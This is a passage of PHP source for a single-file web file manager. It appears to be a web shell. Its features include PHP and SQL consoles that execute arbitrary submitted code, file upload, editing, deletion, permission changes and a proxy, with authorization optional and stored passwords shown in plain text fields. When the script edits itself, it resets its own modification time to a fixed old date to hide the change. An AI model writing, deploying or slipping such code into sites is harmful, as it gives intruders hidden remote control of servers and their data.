    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
		else $msg .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg .= (__('File updated')); 
		else $msg .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} else {
//Let's rock!
    $msg = '';
    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg .= __('Error occurred');
            } else {
				$msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
			}
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Deleted').' '.$_REQUEST['delete'];
		}
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Created').' '.$_REQUEST['dirname'];
		}
    } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
            $msg .= __('Error occurred');
        } else {
			fclose($fp);
			$msg .= __('Created').' '.$_REQUEST['filename'];
		}
    } elseif (isset($_GET['zip'])) {
		$source = base64_decode($_GET['zip']);
		$destination = basename($source).'.zip';
		set_time_limit(0);
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		if (is_file($destination))
		$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
		'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
		else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['gz'])) {
		$source = base64_decode($_GET['gz']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		clearstatcache();
		set_time_limit(0);
		//die();
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		$phar->compress(Phar::GZ,'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}

			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['decompress'])) {
		// $source = base64_decode($_GET['decompress']);
		// $destination = basename($source);
		// $ext = end(explode(".", $destination));
		// if ($ext=='zip' OR $ext=='gz') {
			// $phar = new PharData($source);
			// $phar->decompress();
			// $base_file = str_replace('.'.$ext,'',$destination);
			// $ext = end(explode(".", $base_file));
			// if ($ext=='tar'){
				// $phar = new PharData($base_file);
				// $phar->extractTo(dir($source));
			// }
		// } 
		// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
	} elseif (isset($_GET['gzfile'])) {
		$source = base64_decode($_GET['gzfile']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		set_time_limit(0);
		//echo $destination;
		$ext_arr = explode('.',basename($source));
		if (isset($ext_arr[1])) {
			unset($ext_arr[0]);
			$ext=implode('.',$ext_arr);
		} 
		$phar = new PharData($destination);
		$phar->addFile($source);
		$phar->compress(Phar::GZ,$ext.'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}
			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	}
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="filename" size="15">
				<input type="submit" name="mkfile" value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
		<?php if (!empty($fm_config['upload_file'])) { ?>
			<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
			<input type="hidden" name="path" value="<?=$path?>" />
			<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
			<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
			<input type="submit" name="test" value="<?=__('Upload')?>" />
			</form>
		<?php } ?>
		</td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
